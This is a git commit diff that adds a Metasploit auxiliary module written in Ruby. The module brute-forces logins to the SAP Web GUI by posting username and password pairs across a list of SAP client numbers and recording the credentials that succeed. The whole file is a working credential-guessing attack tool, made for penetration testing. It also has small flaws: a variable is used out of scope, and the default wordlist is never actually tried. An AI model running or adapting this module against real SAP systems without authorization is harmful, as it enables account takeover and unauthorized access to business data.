Merge branch 'sap_web_gui_brute_login' of https://github.com/nmonkee/metasploit-framework into nmonkee-sap_web_gui_brute_login

Author: jvazquez-r7

modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb

@@ -0,0 +1,133 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy. I'd also like to thank Chris John Riley,
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+	include Msf::Auxiliary::AuthBrute
+
+	def initialize
+		super(
+			'Name' => 'SAP Web GUI Brute Force',
+			'Description' => %q{
+				SAP Web GUI Brute Force.
+				},
+			'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
+			'Author' => [ 'nmonkee' ],
+			'License' => BSD_LICENSE
+			)
+		register_options([
+			OptString.new('TARGETURI', [true, 'URI', '/']),
+			OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
+			OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
+			OptString.new('USERPASS_FILE',[false, '',nil])
+			], self.class)
+		register_autofilter_ports([80])
+	end
+
+	def run_host(ip)
+		uri = datastore['TARGETURI']
+		if datastore['CLIENT'].nil?
+			print_status("Using default SAP client list")
+			client = ['000','001','066']
+		else
+		client = []
+			if datastore['CLIENT'] =~ /^\d{3},/
+				client = datastore['CLIENT'].split(/,/)
+				print_status("Brute forcing clients #{datastore['CLIENT']}")
+			elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
+				array = datastore['CLIENT'].split(/-/)
+				client = (array.at(0)..array.at(1)).to_a
+				print_status("Brute forcing clients #{datastore['CLIENT']}")
+			elsif datastore['CLIENT'] =~ /^\d{3}\z/
+				client.push(datastore['CLIENT'])
+				print_status("Brute forcing client #{datastore['CLIENT']}")
+			else
+				print_status("Invalid CLIENT - using default SAP client list instead")
+				client = ['000','001','066']
+			end
+		end
+		saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
+			'Header'  => "[SAP] Credentials",
+			'Prefix'  => "\n",
+			'Postfix' => "\n",
+			'Indent'  => 1,
+			'Columns' => ["host","port","client","user","pass"])
+		if datastore['USERPASS_FILE']
+			credentials = extract_word_pair(datastore['USERPASS_FILE'])
+			credentials.each do |u,p|
+				client.each do |cli|
+					success = bruteforce(uri,u,p,cli)
+					if success == true
+						saptbl << [ip,rport,cli,u,p]
+					end
+				end
+			end
+		else
+			datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
+		end
+		print(saptbl.to_s)
+	end
+
+	def bruteforce(uri,user,pass,cli)
+		begin
+			path = "sap/bc/gui/sap/its/webgui/"
+			cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
+			res = send_request_cgi({
+				'uri'    => "#{uri}#{path}",
+				'method' => 'POST',
+				'cookie' => cookie,
+				'vars_post' => {
+					'sap-system-login-oninputprocessing' => 'onLogin',
+					'sap-urlscheme' => '',
+					'sap-system-login' => 'onLogin',
+					'sap-system-login-basic_auth' => '',
+					'sap-system-login-cookie_disabled' => '',
+					'sysid' => '',
+					'sap-client' => cli,
+					'sap-user' => user,
+					'sap-password' => pass,
+					'sap-language' => 'EN'
+					}
+				})
+		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+			print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
+			return false
+		end
+
+		if res and res.code == 302
+			return true
+		elsif res and res.code == 200
+			if res.body =~ /log on again/
+				return false
+			elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
+				return true
+			elsif res.body =~ /Password logon no longer possible - too many failed attempts/
+				print_error("[SAP] #{ip}:#{rport} - #{user} locked in client #{cli}")
+				return false
+			end
+		else
+			print_error("[SAP] #{ip}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
+			return false
+		end
+	end
+end